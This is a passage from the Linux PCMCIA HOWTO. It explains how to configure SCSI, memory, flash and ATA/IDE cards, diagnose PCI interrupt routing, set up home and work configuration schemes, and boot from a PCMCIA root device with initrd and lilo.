NO_CHECK, NO_FUSER

Boolean (y/n) settings for card eject policy. If NO_CHECK is true, then ``cardctl eject'' will shut down a device even if it is busy. If NO_FUSER is true, then the script will not try to kill processes using an ejected device.

For example:

case "$ADDRESS" in
*,*,*,*)
    LINK="/dev/printer"
    LP_OPTS=""

Diagnosing problems with parallel port devices

  • Is there an interrupt conflict? If the system log looks good, but the port just doesn't seem to work, try using tunelp to change the irq to 0, and see if things improve. This switches the driver to polling mode. If this seems to fix the problem, it is likely that some other device in your system is using the interrupt selected by parport_cs. You should add a line to /etc/pcmcia/config.opts to exclude this interrupt.
  • If you get kernel messages indicating that the parport_cs module cannot be loaded, it means that your kernel does not have parallel device support. If you have compiled the parallel driver as a module, you may need to modify /etc/pcmcia/config to indicate that the parport and parport_pc modules should be loaded before parport_cs.

4.6 PCMCIA SCSI adapters

All the currently supported PCMCIA SCSI cards are work-alikes of one of the following ISA bus cards: the Qlogic, the Adaptec AHA-152X, or the Future Domain TMC-16x0. The PCMCIA drivers are built by linking some PCMCIA-specific code (in qlogic_cs.c, aha152x_cs.c, or fdomain_cs.c) with the normal Linux SCSI driver, pulled from the Linux kernel source tree. The Adaptec APA1480 CardBus driver is based on the kernel aic7xxx PCI driver. Due to limitations in the Linux SCSI driver model, only one removable card per driver is supported.

When a new SCSI host adapter is detected, the SCSI drivers will probe for devices. Check the system log to make sure your devices are detected properly. New SCSI devices will be assigned to the first available SCSI device files. The first SCSI disk will be /dev/sda, the first SCSI tape will be /dev/st0, and the first CD-ROM will be /dev/scd0.

A list of SCSI devices connected to this host adapter will be shown in stab, and the SCSI configuration script, /etc/pcmcia/scsi, will be called once for each attached device, to either configure or shut down that device. The default script does not take any actions to configure SCSI devices, but will properly unmount filesystems on SCSI devices when a card is removed.

The device addresses passed to scsi.opts are complicated, because of the variety of things that can be attached to a SCSI adapter. Addresses consist of either six or seven comma-separated fields: the current scheme, the device type, the socket number, the SCSI channel, ID, and logical unit number, and optionally, the partition number. The device type will be ``sd'' for disks, ``st'' for tapes, ``sr'' for CD-ROM devices, and ``sg'' for generic SCSI devices. For most setups, the SCSI channel and logical unit number will be 0. For disk devices with several partitions, scsi.opts will first be called for the whole device, with a five-field address. The script should set the PARTS variable to a list of partitions. Then, scsi.opts will be called for each partition, with the longer seven-field addresses.

If your kernel does not have a top-level driver (disk, tape, etc) for a particular SCSI device, then the device will not be configured by the PCMCIA drivers. As a side effect, the device's name in stab will be something like ``sd#nnnn'' where ``nnnn'' is a four-digit hex number. This happens when cardmgr is unable to translate a SCSI device ID into a corresponding Linux device name.

It is possible to modularize the top-level SCSI drivers so that they are loaded on demand. To do so, you need to edit /etc/pcmcia/config to tell cardmgr which extra modules need to be loaded when your adapter is configured. For example:

device "aha152x_cs"
  class "scsi" module "scsi/scsi_mod", "scsi/sd_mod", "aha152x_cs"

would say to load the core SCSI module and the top-level disk driver module before loading the regular PCMCIA driver module. The PCMCIA Configure script will not automatically detect modularized SCSI modules, so you will need use the manual configure option to enable SCSI support.

Always turn on SCSI devices before powering up your laptop, or before inserting the adapter card, so that the SCSI bus is properly terminated when the adapter is configured. Also be very careful about ejecting a SCSI adapter. Be sure that all associated SCSI devices are unmounted and closed before ejecting the card. The best way to ensure this is to use either cardctl or cardinfo to request card removal before physically ejecting the card. For now, all SCSI devices should be powered up before plugging in a SCSI adapter, and should stay connected until after you unplug the adapter and/or power down your laptop.

There is a potential complication when using these cards that does not arise with ordinary ISA bus adapters. The SCSI bus carries a ``termination power'' signal that is necessary for proper operation of ordinary passive SCSI terminators. PCMCIA SCSI adapters do not supply termination power, so if it is required, an external device must supply it. Some external SCSI devices may be configured to supply termination power. Others, such as the Zip Drive and the Syquest EZ-Drive, use active terminators that do not depend on it. In some cases, it may be necessary to use a special terminator block such as the APS SCSI Sentry 2, which has an external power supply. When configuring your SCSI device chain, be aware of whether or not any of your devices require or can provide termination power.

SCSI device parameters

The following parameters can be defined in scsi.opts:

LINK

Specifies a path for a symbolic link to be created to this device.

DO_FSTAB

A boolean (y/n) setting: specifies if an entry should be added to /etc/fstab for this device.

DO_FSCK

A boolean (y/n) setting: specifies if the filesystem should be checked before being mounted, with ``fsck -Ta''.

DO_MOUNT

A boolean (y/n) setting: specifies if this device should be automatically mounted at card insertion time.

FSTYPE, OPTS, MOUNTPT

The filesystem type, mount options, and mount point to be used for the fstab entry and/or mounting the device.

NO_CHECK, NO_FUSER

Boolean (y/n) settings for card eject policy. If NO_CHECK is true, then ``cardctl eject'' will shut down a device even if it is busy. If NO_FUSER is true, then the script will not try to kill processes using an ejected device.

For example, here is a script for configuring a disk device at SCSI ID 3, with two partitions, and a CD-ROM at SCSI ID 6:

case "$ADDRESS" in
*,sd,*,0,3,0)
    # This device has two partitions...
    PARTS="1 2"
    ;;
*,sd,*,0,3,0,1)
    # Options for partition 1:
    #  update /etc/fstab, and mount an ext2 fs on /usr1
    DO_FSTAB="y" ; DO_FSCK="y" ; DO_MOUNT="y"
    FSTYPE="ext2"
    OPTS=""
    MOUNTPT="/usr1"
    ;;
*,sd,*,0,3,0,2)
    # Options for partition 2:
    #  update /etc/fstab, and mount an MS-DOS fs on /usr2
    DO_FSTAB="y" ; DO_FSCK="y" ; DO_MOUNT="y"
    FSTYPE="msdos"
    OPTS=""
    MOUNTPT="/usr2"
    ;;
*,sr,*,0,6,0)
    # Options for CD-ROM at SCSI ID 6
    PARTS=""
    DO_FSTAB="y" ; DO_FSCK="n" ; DO_MOUNT="y"
    FSTYPE="iso9660"
    OPTS="ro"
    MOUNTPT="/cdrom"
    ;;
esac

Comments about specific cards

  • The Adaptec APA-1480 CardBus card needs a large IO port window (256 contiguous ports aligned on a 256-port boundary). It may be necessary to expand the IO port regions in /etc/pcmcia/config.opts to guarantee that such a large window can be found.
  • The Adaptec APA-460 SlimSCSI adapter is not supported. This card was originally sold under the Trantor name, and when Adaptec merged with Trantor, they continued to sell the Trantor card with an Adaptec label. The APA-460 is not compatible with any existing Linux driver.
  • I have had one report of a bad interaction between the New Media Bus Toaster and a UMAX Astra 1200s scanner. Due to the complexity of the SCSI protocol, when diagnosing problems with SCSI devices, it is worth considering that incompatible combinations like this may exist and may not be documented.

Diagnosing problems with SCSI adapters

  • With the aha152x_cs driver (used by Adaptec, New Media, and a few others), it seems that SCSI disconnect/reconnect support is a frequent source of trouble with tape drives. To disable this ``feature,'' add the following to /etc/pcmcia/config.opts:
    module "aha152x_cs" opts "reconnect=0"
  • Also with the aha152x_cs driver, certain devices seem to require a longer startup delay, controlled via the reset_delay module parameter. The Yamaha 4416S CDR drive is one such device. The result is the device is identified successfully, then hangs the system. In such cases, try:
    module "aha152x_cs" opts "reset_delay=500"
  • Another potential source of SCSI device probe problems is probing of multiple LUN's. If you see successful detection of a device, followed by SCSI bus timeouts when LUN 1 for that device is probed, then disable the kernel's CONFIG_SCSI_MULTI_LUN option.
  • If you have compiled SCSI support as modules (CONFIG_SCSI is ``m''), you may need to modify /etc/pcmcia/config to load the SCSI modules before the appropriate *_cs driver is loaded.
  • If you get ``aborting command due to timeout'' messages when the SCSI bus is probed, you almost certainly have an interrupt conflict.
  • If the host driver reports ``no SCSI devices found'', verify that your kernel was compiled with the appropriate top-level SCSI drivers for your devices (i.e., disk, tape, CD-ROM, and/or generic). If a top-level driver is missing, devices of that type will be ignored.

4.7 PCMCIA memory cards

The memory_cs driver handles all types of memory cards, as well as providing direct access to the PCMCIA memory address space for cards that have other functions. When loaded, it creates a combination of character and block devices. See the man page for the module for a complete description of the device naming scheme. Block devices are used for disk-like access (creating and mounting filesystems, etc). The character devices are for "raw" unbuffered reads and writes at arbitrary locations.

The device address passed to memory.opts consists of two fields: the scheme, and the socket number. The options are applied to the first common memory partition on the corresponding memory card.

Some flash memory cards, and most simple static RAM cards, lack a ``Card Information Structure'' (CIS), which is the system PCMCIA cards use to identify themselves. Normally, cardmgr will assume that any card that lacks a CIS is a simple memory card, and load the memory_cs driver. Thus, a common side effect of a general card identification problem is that other types of cards may be misdetected as memory cards.

There is another issue to consider when handling memory cards that do not have CIS information. At startup time, the PCMCIA package tries to use the first detected card to determine what memory regions are usable for PCMCIA. The memory scan can be fooled if that card is a simple memory card. If you plan to use memory cards often, it is best to limit the memory windows in /etc/pcmcia/config.opts to known-good regions.

The memory_cs driver uses a heuristic to guess the capacity of these cards. The heuristic does not work for write protected cards, and may make mistakes in some other cases as well. If a card is misdetected, its size should then be explicitly specified when using commands such as dd or mkfs. The memory_cs module also has a parameter for overriding the size detection. See the man page.

Memory device parameters

The following parameters can be specified in memory.opts:

DO_FSTAB

A boolean (y/n) setting: specifies if an entry should be added to /etc/fstab for this device.

DO_FSCK

A boolean (y/n) setting: specifies if the filesystem should be checked before being mounted, with ``fsck -Ta''.

DO_MOUNT

A boolean (y/n) setting: specifies if this device should be automatically mounted at card insertion time.

FSTYPE, OPTS, MOUNTPT

The filesystem type, mount options, and mount point to be used for the fstab entry and/or mounting the device.

NO_CHECK, NO_FUSER

Boolean (y/n) settings for card eject policy. If NO_CHECK is true, then ``cardctl eject'' will shut down a device even if it is busy. If NO_FUSER is true, then the script will not try to kill processes using an ejected device.

Here is an example of a script that will automatically mount memory cards based on which socket they are inserted into:

case "$ADDRESS" in
*,0,0)
    # Mount filesystem, but don't update /etc/fstab
    DO_FSTAB="n" ; DO_FSCK="y" ; DO_MOUNT="y"
    FSTYPE="ext2" ; OPTS=""
    MOUNTPT="/mem0"
    ;;
*,1,0)
    # Mount filesystem, but don't update /etc/fstab
    DO_FSTAB="n" ; DO_FSCK="y" ; DO_MOUNT="y"
    FSTYPE="ext2" ; OPTS=""
    MOUNTPT="/mem1"
    ;;
esac

Using linear flash memory cards

The following information applies only to so-called ``linear flash'' memory cards. Many flash cards, including all SmartMedia and CompactFlash cards, actually include circuitry to emulate an IDE disk device. Those cards are thus handled as IDE devices, not memory cards.

There are two major formats for flash memory cards: the FTL or ``flash translation layer'' style, and the Microsoft Flash File System. The FTL format is generally more flexible because it allows any ordinary high-level filesystem (ext2, ms-dos, etc) to be used on a flash card as if it were an ordinary disk device. The FFS is a completely different filesystem type. Linux cannot currently handle cards formated with FFS.

To use a flash memory card as an ordinary disk-like block device, first create an FTL partition on the device with the ftl_format command. This layer hides the device-specific details of flash memory programming and make the card look like a simple block device. For example:

ftl_format -i /dev/mem0c0c

Note that this command accesses the card through the ``raw'' memory card interface. Once formatted, the card can be accessed as an ordinary block device via the ftl_cs driver. For example:

mke2fs /dev/ftl0c0
mount -t ext2 /dev/ftl0c0 /mnt

Device naming for FTL devices is tricky. Minor device numbers have three parts: the card number, the region number on that card, and optionally, the partition within that region. A region can either be treated as a single block device with no partition table (like a floppy), or it can be partitioned like a hard disk device. The ``ftl0c0'' device is card 0, common memory region 0, the entire region. The ``ftl0c0p1'' through ``ftl0c0p4'' devices are primary partitions 1 through 4 if the region has been partitioned.

Configuration options for FTL partitions can be given in ftl.opts, which is similar in structure to memory.opts. The device address passed to ftl.opts consists of three or four fields: the scheme, the socket number, the region number, and optionally, the partition number. Most flash cards have just one flash memory region, so the region number will generally always be zero.

Intel Series 100 flash cards use the first 128K flash block to store the cards' configuration information. To prevent accidental erasure of this information, ftl_format will automatically detect this and skip the first block when creating an FTL partition.

4.8 PCMCIA ATA/IDE card drives

ATA/IDE drive support is based on the regular kernel IDE driver. This includes SmartMedia and CompactFlash devices: these flash memory cards are set up so that they emulate an IDE interface. The PCMCIA-specific part of the driver is ide_cs. Be sure to use cardctl or cardinfo to shut down an ATA/IDE card before ejecting it, as the driver has not been made ``hot-swap-proof''.

The device addresses passed to ide.opts consist of either three or four fields: the current scheme, the socket number, the drive's serial number, and an optional partition number. The ide_info command can be used to obtain an IDE device's serial number. As with SCSI devices, ide.opts is first called for the entire device. If ide.opts returns a list of partitions in the PARTS variable, the script will then be called for each partition.

ATA/IDE fixed-disk device parameters

The following parameters can be specified in ide.opts:

DO_FSTAB

A boolean (y/n) setting: specifies if an entry should be added to /etc/fstab for this device.

DO_FSCK

A boolean (y/n) setting: specifies if the filesystem should be checked before being mounted, with ``fsck -Ta''.

DO_MOUNT

A boolean (y/n) setting: specifies if this device should be automatically mounted at card insertion time.

FSTYPE, OPTS, MOUNTPT

The filesystem type, mount options, and mount point to be used for the fstab entry and/or mounting the device.

NO_CHECK, NO_FUSER

Boolean (y/n) settings for card eject policy. If NO_CHECK is true, then ``cardctl eject'' will shut down a device even if it is busy. If NO_FUSER is true, then the script will not try to kill processes using an ejected device.

Here is an example ide.opts file to mount the first partition of any ATA/IDE card on /mnt.

case "$ADDRESS" in
*,*,*,1)
    DO_FSTAB="y" ; DO_FSCK="y" ; DO_MOUNT="y"
    FSTYPE="msdos"
    OPTS=""
    MOUNTPT="/mnt"
    ;;
*,*,*)
    PARTS="1"
    ;;
esac

Diagnosing problems with ATA/IDE adapters

  • An IO port conflict may cause the IDE driver to misdetect the drive geometry and report ``INVALID GEOMETRY: 0 PHYSICAL HEADS?''. To fix, try excluding the selected IO port range in /etc/pcmcia/config.opts.
  • Some IDE drives violate the PCMCIA specification by requiring more time to spin up than the maximum allowed card setup time. This may result in ``timed out during reset'' messages at card detect time. Adjust the unreset_delay and/or unreset_limit parameters for the pcmcia_core module to give a drive more time to spin up; see the pcmcia_core man page for parameter details. For example:
    CORE_OPTS="unreset_delay=400"
  • To use an ATA/IDE CD-ROM device, your kernel must be compiled with CONFIG_BLK_DEV_IDECD enabled. This will normally be the case for standard kernels, however it is something to be aware of if you compile a custom kernel.
  • A common error when using IDE drives is try to mount the wrong device file. Generally, you want to mount a partition of the device, not the entire device (i.e., /dev/hde1, not /dev/hde).
  • The Linux IDE driver may have trouble configuring certain removable-media drives if no media is present at insertion time. The IBM Portable DriveBay has this problem.
  • Some kernels will report a pair of ``drive_cmd'' errors at insertion time. These errors can be ignored: they pop up when a removable IDE device does not accept the IDE ``door lock'' command.

4.9 Multifunction cards

A single interrupt can be shared by several drivers, such as the serial driver and an ethernet driver: in fact, the PCMCIA specification requires all card functions to share the same interrupt. Normally, all card functions are available without having to swap drivers. Any remotely recent Linux kernel (i.e., 1.3.72 or later) supports this kind of interrupt sharing.

Simultaneous use of two card functions is ``tricky'' and various hardware vendors have implemented interrupt sharing in their own incompatible (and sometimes proprietary) ways. The drivers for some cards (Ositech Jack of Diamonds, 3Com 3c562 and related cards, Linksys cards) properly support simultaneous access, but others (older Megahertz cards in particular) do not. If you have trouble using a card with both functions active, try using each function in isolation. That may require explicitly doing an ``ifconfig down'' to shut down a network interface and use a modem on the same card.


Linux PCMCIA HOWTO: Advanced topics

 Next Previous Contents

5. Advanced topics

5.1 Resource allocation for PCMCIA devices

In theory, it should not really matter which interrupt is allocated to which device, as long as two devices are not configured to use the same interrupt. In /etc/pcmcia/config.opts you'll find a place for excluding interrupts that are used by non-PCMCIA devices.

Similarly, there is no way to directly specify the I/O addresses for a card to use. The /etc/pcmcia/config.opts file allows you to specify ranges of ports available for use by any card, or to exclude ranges that conflict with other devices.

After modifying /etc/pcmcia/config.opts, you can reinitialize cardmgr with ``kill -HUP''.

The interrupt used to monitor card status changes is chosen by the low-level socket driver module (i82365 or tcic) before cardmgr parses /etc/pcmcia/config, so it is not affected by changes to this file. To set this interrupt, use the cs_irq= option when the socket driver is loaded, by setting the PCIC_OPTS variable in /etc/rc.d/rc.pcmcia.

All the client card drivers have a parameter called irq_list for specifying which interrupts they may try to allocate. These driver options should be set in your /etc/pcmcia/config file. For example:

device "serial_cs"
  module "serial_cs" opts "irq_list=8,12"
  ...

would specify that the serial driver should only use irq 8 or irq 12. Regardless of irq_list settings, Card Services will never allocate an interrupt that is already in use by another device, or an interrupt that is excluded in the config file.

5.2 PCI interrupt configuration problems and solutions

An overview of PCI interrupt routing issues

Each PCI slot has four PCI interrupt pins, INTA through INTD. Single function devices will only use the INTA pin; multifunction devices may use multiple INT pins. On the processor side, on x86 single processor systems, incoming hardware interrupts are directed to interrupt requests (irq's) numbered 0..15. The PCI interrupt router, usually part of the PCI-to-ISA host bridge, determines how incoming PCI interrupts are mapped to CPU irq numbers. Most modern bridge chips have several PCI interrupt inputs, known as PIRQ1, PIRQ2, etc, each of which can be routed to any CPU irq number. So we might have something like:

PCI slot 1 INTA --> router PIRQ1 --> CPU irq 9
PCI slot 1 INTB --> router PIRQ2 --> CPU irq 10

PCI slot 2 INTA --> router PIRQ2 --> CPU irq 10
PCI slot 2 INTB --> router PIRQ1 --> CPU irq 9

Multiple INT pins are often connected to the same PIRQ pin. Usually, the connections from INT pins to PIRQ pins are arranged to spread installed devices out as much as possible, to give the OS the most flexibility for choosing how interrupts are shared. The mapping from bridge PIRQ pins to CPU irq numbers can be obtained by reading registers in the interrupt router. The mapping from INT pins to the router's PIRQ pins, however, depends on how the board designer decided to connect things up, and cannot be directly determined by driver software.

For most PCI devices, the OS does not need to understand the interrupt router details. Each PCI device has a configuration register, the PCI Interrupt Line Register, that the BIOS initializes with the appropriate CPU irq number for that device. Unfortunately, the BIOS generally will not configure PCI interrupts for CardBus bridge devices.

The PCI BIOS's Interrupt Routing Table is a data structure that contains information about the mapping from PCI INT pins to the PIRQ pins on the PCI interrupt router. The routing information in the table is stored in a somewhat unhelpful form, however. For each device's INT pins, the table specifies a ``link value''. All interrupts with the same link value are wired to the same PIRQ pin; however, the meaning of the link values is defined by the chipset vendor.

Several tools are available for examining PCI interrupt routing information:

lspci, /proc/pci

These will show you resource information (including interrupt assignments, where they are known) for all your PCI devices.

dump_pirq

This is in the debug-tools directory of the PCMCIA source distribution. It dumps the contents of your PCI interrupt routing table, if available. It also scans for known interrupt routers and dumps their current interrupt steering settings.

Several PCMCIA module parameters affect PCI interrupt routing:

pcmcia_core module: cb_pci_irq=n

This option specifies one interrupt number to be used to program the PCI interrupt router for all CardBus sockets that do not already have an interrupt assignment. It only has any effect on systems that have a PCI irq routing table, and a known interrupt router.

i82365 module: irq_mode=n

Most CardBus bridges offer several methods for delivering interrupts to the host. The i82365 module by default assumes that a bridge can deliver both PCI and ISA interrupts, since this is normal for laptops. A setting of ``irq_mode=0'' can be used to force a bridge to use only PCI interrupts. See the man page for the i82365 module for a description of what other values mean for different bridge types.

i82365 module: irq_list=n,n,...

This parameter lists which ISA interrupt(s) can be used for PCMCIA. If no ISA interrupts are available, specify ``irq_list=0''. Note that ``irq_mode=0'' implies ``irq_list=0''.

i82365 module: pci_irq_list=n,n,...

This option specifies a list of PCI interrupt numbers to use for CardBus sockets. It differs from cb_pci_irq, because it does not actually program the PCI interrupt router; it can be used when you know the PCI interrupts are already set up a certain way, even if you do not know how the router works.

If you are having problems that you think may be related to PCI interrupt configuration, you should first verify that you have a reasonably current PCMCIA driver package. Also carefully look at the startup messages when the PCMCIA kernel modules are loaded. You should see something like:

Linux PCMCIA Card Services 3.1.18
  kernel build: 2.2.14-5.0 #1 Tue May 9 10:44:24 PDT 2000
  options:  [pci] [cardbus] [apm] [pnp]
PCI routing table version 1.0 at 0xfdf30
Intel PCIC probe:
  TI 1125 rev 02 PCI-to-CardBus at slot 00:07, mem 0x20000000
    host opts [0]: [ring] [serial pci & irq] [pci irq 11] ...
    host opts [0]: [ring] [serial pci & irq] [pci irq 11] ...
  ISA irqs (scanned) = 3,4,7 PCI status changes

The ``PCI routing table'' message indicates that a valid routing table was found. The ``host opts'' lines indicate the interrupt delivery mode and whether or not a PCI interrupt could be determined for each socket. And the final line indicates the results of the scan for available interrupts.

CardBus bridge is not detected by the PCI BIOS

Symptoms:

  • Intel PCIC probe: not found.
  • The bridge does not show up in lspci or in /proc/pci.

The Lucent/SCM PCI-to-CardBus adapters seem to confuse the PCI BIOS on some older systems. Lucent says that this card is only supported on systems that have a BIOS that supports the PCI 2.2 specification, or are PC99 compliant. Some older systems will not detect the Lucent card at all, and if the system can't detect it, the Linux drivers cannot use it. The only possible resolutions are a BIOS upgrade, or using a different motherboard or CardBus adapter.

PCI interrupt delivery problems

Symptoms:

  • Cards seem to be configured correctly, but do not work.
  • /proc/interrupts shows a count of 0 for interrupts assigned to PCMCIA drivers.

CardBus bridges usually support two types of interrupts, PCI and ISA. Partly for historical reasons, it has become conventional to use PCI interrupts for signaling card insertion and removal events, and for CardBus card interrupts; and ISA interrupts for 16-bit cards. Since version 3.1.9, this is the scheme that the Linux PCMCIA system will use by default. Most CardBus bridges support multiple methods for delivering interrupts to the host CPU. Methods include ``parallel'' interrupts, where each supported irq has a dedicated pin on the bridge; various serial interrupt protocols, where one or two pins are used to communicate with an interrupt controller; and hybrids, where PCI interrupts might be signalled using dedicated pins, while ISA interrupts are delivered via a serial controller.

In general, it is the responsibility of the BIOS to program a bridge for the appropriate interrupt delivery method. However, there are systems that do this incorrectly, and in some cases, there is no way for software to safely detect the correct delivery method. The i82365 module reports the bridge mode at startup time, and has a parameter, irq_mode, that can be used to reconfigure it. Not all bridges support this parameter, and the meaning of irq_mode depends on the bridge type. See the i82365 man page for a description of what values are supported by your bridge. In some cases, a bridge may function correctly in more than one interrupt mode.

Most PCMCIA card readers that fit in a PCI bus slot only provide PCI interrupt routing. The Linux drivers assume that all bridges have ISA interrupt capability, since that is generally correct on laptops. With a card reader, it will generally be necessary to use the irq_mode parameter to specify a ``PCI only'' interrupt delivery mode; the value of the parameter depends on the bridge type, so check the i82365 man page. A few PCI card readers require an irq_mode that permits ISA interrupts, but those interrupts are not actually connected; in that case, use ``irq_list=0''.

Check the system log and verify that the CardBus bridge has a PCI interrupt assignment. If it does not, then resolve that problem first, then return here if the symptoms persist. Next, experiment with different values for the irq_mode parameter.

No PCI interrupt assignment; valid routing table

Symptoms:

  • The Intel PCIC probe reports ``no pci irq'' for each socket.
  • There is a routing table, and the router type is supported.

When a routing table is present, the pcmcia_core module will try to automatically configure the PCI interrupt router, but only does so when it has a safe and unambiguous choice for what PCI interrupt to use. If there are several valid choices, then you must use the ``cb_pci_irq=...'' option to specify which interrupt to assign. Your best bet is to pick the most lightly used interrupt that is already assigned to another PCI device.

Moving the card to another slot sometimes offers a quick solution. If that slot shares its interrupt with an already-configured device, then the PCMCIA drivers will have no trouble figuring out the assignment.

No PCI interrupt assignment; unknown interrupt router

Symptoms:

  • The Intel PCIC probe reports ``no pci irq'' for each socket.
  • There is a routing table, but the router is an unknown type.

Adding support for a new interrupt router is tricky but not a big job. First determine, from a datasheet, how your interrupt router steers PCI interrupts. Then, see if you can guess the meaning of the link values from the output of dump_pirq. Usually this is reasonably obvious. Most routers have four PIRQ pins, and the link values might be something like 1,2,3,4, or 0x10,0x18,0x20,0x28, or 0x60,0x61,0x62,0x63. The values are usually chosen so that they can be easily converted to the location of the appropriate interrupt steering register. Finally, add small functions to modules/pci_fixup.c to get/set the interrupt steering information for this router, using the other routers as examples.

No PCI interrupt assignment; no routing table

Symptoms:

  • The Intel PCIC probe reports ``no pci irq'' for each socket.
  • No interrupt routing table is found.

Without an interrupt routing table, we cannot tell how interrupts from the CardBus bridge are directed to CPU irq numbers. All hope is not lost: you may be able to guess the PCI interrupt assignment and use the ``pci_irq_list=...'' option to pass this information to the i82365 module. Good guesses might include the interrupt(s) assigned to other PCI devices, the interrupt(s) used under Windows, or any other interrupts that are unaccounted for.

You may also want to experiment with putting the adapter in different PCI slots, for each pci_irq_list you try. You are trying to find a slot that shares its interrupt with an already-configured device, and might need to try several slots to find one.

5.3 How can I have separate device setups for home and work?

This is fairly easy using ``scheme'' support. Use two configuration schemes, called ``home'' and ``work''. Here is an example of a network.opts script with scheme-specific settings:

case "$ADDRESS" in
work,*,*,*)
    # definitions for network card in work scheme
    ...
    ;;
home,*,*,*|default,*,*,*)
    # definitions for network card in home scheme
    ...
    ;;
esac

The first part of a device address is always the configuration scheme. In this example, the second ``case'' clause will select for both the ``home'' and ``default'' schemes. So, if the scheme is unset for any reason, it will default to the ``home'' setup.

Now, to select between the two sets of settings, run either:

cardctl scheme home

or

cardctl scheme work

The cardctl command does the equivalent of shutting down all your cards and restarting them. The command can be safely executed whether or not the PCMCIA system is loaded, but the command may fail if you are using other PCMCIA devices at the time (even if their configurations are not explicitly dependant on the scheme setting).

To find out the current scheme setting, run:

cardctl scheme

By default, the scheme setting is persistent across boots. This can have undesirable effects if networking is initialized for the wrong environment. Optionally, you can set the initial scheme value with the SCHEME startup option (see Startup options for details). It is also possible to set the scheme from the lilo boot prompt. Since lilo passes unrecognized options to init as environment variables, a value for SCHEME (or any other PCMCIA startup option) at the boot prompt will be propagated into the PCMCIA startup script.

To save even more keystrokes, schemes can be specified in lilo's configuration file. For instance, you could have:

root = /dev/hda1
read-only
image = /boot/vmlinuz
  label  = home
  append = "SCHEME=home"
image = /boot/vmlinuz
  label  = work
  append = "SCHEME=work"

Typing ``home'' or ``work'' at the boot prompt would then boot into the appropriate scheme.

5.4 Booting from a PCMCIA device

Having the root filesystem on a PCMCIA device is tricky because the Linux PCMCIA system is not designed to be linked into the kernel. Its core components, the loadable kernel modules and the user mode cardmgr daemon, depend on an already running system. The kernel's ``initrd'' facility works around this requirement by allowing Linux to boot using a temporary ram disk as a minimal root image, load drivers, and then re-mount a different root filesystem. The temporary root can configure PCMCIA devices and then re-mount a PCMCIA device as root.

The initrd image absolutely must reside on a bootable device: this generally cannot be put on a PCMCIA device. This is a BIOS limitation, not a kernel limitation. It is useful here to distinguish between ``boot-able'' devices (i.e., devices that can be booted), and ``root-able'' devices (i.e., devices that can be mounted as root). ``Boot-able'' devices are determined by the BIOS, and are generally limited to internal floppy and hard disk drives. ``Root-able'' devices are any block devices that the kernel supports once it has been loaded. The initrd facility makes more devices ``root-able'', not ``boot-able''.

Some Linux distributions will allow installation to a device connected to a PCMCIA SCSI adapter, as an unintended side-effect of their support for installs from PCMCIA SCSI CD-ROM devices. However, at present, no Linux installation tools support configuring an appropriate ``initrd'' to boot Linux with a PCMCIA root filesystem. Setting up a system with a PCMCIA root thus requires that you use another Linux system to create the ``initrd'' image. If another Linux system is not available, another option would be to temporarily install a minimal Linux setup on a non-PCMCIA drive, create an initrd image, and then reinstall to the PCMCIA target.

The Linux Bootdisk-HOWTO has some general information about setting up boot disks but nothing specific to initrd. The main initrd document is included with recent kernel source code distributions, in linux/Documentation/initrd.txt. Before beginning, you should read this document. A familiarity with lilo is also helpful. Using initrd also requires that you have a kernel compiled with CONFIG_BLK_DEV_RAM and CONFIG_BLK_DEV_INITRD enabled.

This is an advanced configuration technique, and requires a high level of familiarity with Linux and the PCMCIA system. Be sure to read all the relevant documentation before starting. The following cookbook instructions should work, but deviations from the examples will quickly put you in uncharted and ``unsupported'' territory, and you will be on your own.

This method absolutely requires that you use a PCMCIA driver release of 2.9.5 or later. Older PCMCIA packages or individual components will not work in the initrd context. Do not mix components from different releases.

The pcinitrd helper script

The pcinitrd script creates a basic initrd image for booting with a PCMCIA root partition. The image includes a minimal directory heirarchy, a handful of device files, a few binaries, shared libraries, and a set of PCMCIA driver modules. When invoking pcinitrd, you specify the driver modules that you want to be included in the image. The core PCMCIA components, pcmcia_core and ds, are automatically included.

As an example, say that your laptop uses an i82365-compatible host controller, and you want to boot Linux with the root filesystem on a hard drive attached to an Adaptec SlimSCSI adapter. You could create an appropriate initrd image with:

pcinitrd -v initrd pcmcia/i82365.o pcmcia/aha152x_cs.o

To customize the initrd startup sequence, you could mount the image using the ``loopback'' device with a command like:

mount -o loop -t ext2 initrd /mnt

and then edit the linuxrc script. The configuration files will be installed under /etc in the image, and can also be customized. See the man page for pcinitrd for more information.

Creating an initrd boot floppy

After creating an image with pcinitrd, you can create a boot floppy by copying the kernel, the compressed initrd image, and a few support files for lilo to a clean floppy. In the following example, we assume that the desired PCMCIA root device is /dev/sda1:

mke2fs /dev/fd0
mount /dev/fd0 /mnt
mkdir /mnt/etc /mnt/boot /mnt/dev
cp -a /dev/fd0 /dev/sda1 /mnt/dev
cp [kernel-image] /mnt/vmlinuz
cp /boot/boot.b /mnt/boot/boot.b
gzip < [initrd-image] > /mnt/initrd

Create /mnt/etc/lilo.conf with the contents:

boot=/dev/fd0
compact
image=/vmlinuz
    label=linux
    initrd=/initrd
    read-only
    root=/dev/sda1

Finally, invoke lilo with:

lilo -r /mnt

When lilo is invoked with -r, it performs all actions relative to the specified alternate root directory. The reason for creating the device files under /mnt/dev was that lilo will not be able to use the files in /dev when it is running in this alternate-root mode.

Installing an initrd image on a non-Linux drive

One common use of the initrd facility would be on systems where the internal hard drive is dedicated to another operating system. The Linux kernel and initrd image can be placed in a non-Linux partition, and lilo or LOADLIN can be set up to boot Linux from these images.

Assuming that you have a kernel has been configured for the appropriate root device, and an initrd image created on another system, the easiest way to get started is to boot Linux using LOADLIN, as:

LOADLIN <kernel> initrd=<initrd-image>

Once you can boot Linux on your target machine, you could then install lilo to allow booting Linux directly. For example, say that /dev/hda1 is the non-Linux target partition and /mnt can be used as a mount point. First, create a subdirectory on the target for the Linux files:

mount /dev/hda1 /mnt
mkdir /mnt/linux
cp [kernel-image] /mnt/linux/vmlinuz
cp [initrd-image] /mnt/linux/initrd

In this example, say that /dev/sda1 is the desired Linux root partition, a SCSI hard drive mounted via a PCMCIA SCSI adapter. To install lilo, create a lilo.conf file with the contents:

boot=/dev/hda
map=/mnt/linux/map
compact
image=/mnt/linux/vmlinuz
        label=linux
        root=/dev/sda1
        initrd=/mnt/linux/initrd
        read-only
other=/dev/hda1
        table=/dev/hda
        label=windows

The boot= line says to install the boot loader in the master boot record of the specified device. The root= line identifies the desired root filesystem to be used after loading the initrd image, and may be unnecessary if the kernel image is already configured this way. The other= section is used to describe the other operating system installed on /dev/hda1.

To install lilo in this case, use:

lilo -C lilo.conf

Note that in this case, the lilo.conf file uses absolute paths that include /mnt. I did this in the example because the target filesystem may not support the creation of Linux device files for the boot= and root= options.


Linux PCMCIA HOWTO: Dealing with unsupported cards

 Next Previous Contents
